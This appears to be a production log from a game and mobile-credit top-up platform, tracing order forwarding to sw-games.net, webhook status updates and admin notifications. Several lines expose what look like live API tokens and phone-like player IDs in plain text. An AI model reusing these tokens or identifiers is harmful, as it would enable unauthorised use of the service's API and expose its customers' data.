[2026-03-24 10:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","total_operations":1,"sites_count":1} 
[2026-03-24 10:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 10:35:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 10:35:02] production.INFO: async() رجع: true  
[2026-03-24 10:35:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:35:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:35:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:35:03] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:35:32] production.INFO: Constructing job for order: 178555  
[2026-03-24 10:35:33] production.INFO: Handling job for order: 178555  
[2026-03-24 10:35:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:35:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:35:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=516d0250-c05b-416f-b8b8-accfe2324c55&Player_ID=0951596207  
[2026-03-24 10:35:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=516d0250-c05b-416f-b8b8-accfe2324c55&Player_ID=0951596207","has_body":false} 
[2026-03-24 10:35:34] production.INFO: Operation sent successfully {"operation_id":163486,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ytx-1774337734","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:35:34"}},"processed_data":{"order_number":"ORD-ytx-1774337734","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:35:53] production.INFO: Constructing job for order: 178556  
[2026-03-24 10:35:55] production.INFO: Handling job for order: 178556  
[2026-03-24 10:35:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:35:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:35:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6b2ce68b-c34d-4013-93d6-b9897d08528e&Player_ID=0951596207  
[2026-03-24 10:35:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6b2ce68b-c34d-4013-93d6-b9897d08528e&Player_ID=0951596207","has_body":false} 
[2026-03-24 10:35:56] production.INFO: Operation sent successfully {"operation_id":163487,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Rp710Tq-1774337756","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:35:56"}},"processed_data":{"order_number":"ORD-Rp710Tq-1774337756","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02"} 
[2026-03-24 10:36:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","total_operations":3,"sites_count":2} 
[2026-03-24 10:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-ytx-1774337734","ORD-Rp710Tq-1774337756"]} 
[2026-03-24 10:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 10:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487} 
[2026-03-24 10:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 10:36:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:36:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"count":1} 
[2026-03-24 10:36:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"count":1} 
[2026-03-24 10:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"user_id":229,"notification_type":"order_approved","reference_id":178555} 
[2026-03-24 10:36:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:36:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:36:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"processed":1,"errors":0} 
[2026-03-24 10:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486,"processed":1,"errors":0} 
[2026-03-24 10:36:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5A34ASuehzhN7Wkr4jugrjtfKQzmVEx3","execution_time":"2026-03-24 10:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ytx-1774337734","operation_id":163486} 
[2026-03-24 10:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 229  
[2026-03-24 10:37:01] production.INFO: Constructing job for order: 178557  
[2026-03-24 10:37:02] production.INFO: Handling job for order: 178557  
[2026-03-24 10:37:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:37:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:37:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a8982cf7-d7a2-4f26-90dd-891c6b292ffc&Player_ID=52130925226  
[2026-03-24 10:37:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a8982cf7-d7a2-4f26-90dd-891c6b292ffc&Player_ID=52130925226","has_body":false} 
[2026-03-24 10:37:03] production.INFO: Operation sent successfully {"operation_id":163488,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Jg4xIoJ-1774337823","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 10:37:03"}},"processed_data":{"order_number":"ORD-Jg4xIoJ-1774337823","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 10:37:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Jg4xIoJ-1774337823","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 10:37:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-Jg4xIoJ-1774337823","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 10:37:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 10:37:10] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178557} 
[2026-03-24 10:37:10] production.INFO: Order updated successfully. Order ID: 178557, Status: completed  
[2026-03-24 10:37:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Jg4xIoJ-1774337823","status":"completed","codes_count":0} 
[2026-03-24 10:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 10:38:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00"} 
[2026-03-24 10:38:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","total_operations":2,"sites_count":2} 
[2026-03-24 10:38:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:38:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:38:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:38:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:38:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:38:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-Rp710Tq-1774337756"]} 
[2026-03-24 10:38:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:38:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 10:38:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 10:38:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:38:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"count":1} 
[2026-03-24 10:38:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"count":1} 
[2026-03-24 10:38:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"user_id":229,"notification_type":"order_approved","reference_id":178556} 
[2026-03-24 10:38:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:38:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:38:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"processed":1,"errors":0} 
[2026-03-24 10:38:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487,"processed":1,"errors":0} 
[2026-03-24 10:38:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"daD1rmt5fkYGc1eORTryF6qWhX5A7Ub8","execution_time":"2026-03-24 10:38:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Rp710Tq-1774337756","operation_id":163487} 
[2026-03-24 10:38:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 229  
[2026-03-24 10:38:30] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"5.0","mainamount":"5","operation_number":"0158019422","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phptgnah02dkso90Eiq9rf"}},"user_id":1688} 
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 10:38:31] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 10:38:31] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18599,"user_id":1688,"amount":5.0,"admins_notified":7} 
[2026-03-24 10:40:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01"} 
[2026-03-24 10:40:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:40:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:40:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:40:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:40:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:40:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:40:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mOKRZcS4MSmEnVGUVVOYV3gdxBF1ctKh","execution_time":"2026-03-24 10:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:40:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:40:03] production.INFO: async() رجع: true  
[2026-03-24 10:40:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:40:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:40:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:40:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01"} 
[2026-03-24 10:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
